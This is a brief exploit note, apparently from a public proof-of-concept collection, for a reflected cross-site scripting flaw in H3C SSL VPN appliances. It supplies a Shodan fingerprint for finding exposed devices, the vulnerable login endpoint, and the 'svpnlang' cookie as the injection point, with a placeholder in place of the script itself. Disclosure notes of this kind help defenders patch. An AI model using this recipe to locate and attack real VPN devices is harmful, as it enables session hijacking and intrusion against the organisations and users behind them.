H3C_SSL_VPN_XSS(Reflected XSS)

Payload:

Shodan: http.html_hash:510586239
Access address：https://IP:PORT/wnm/login/login.json.
Payload: Cookie: svpnlang=__XSS_PAYLOAD__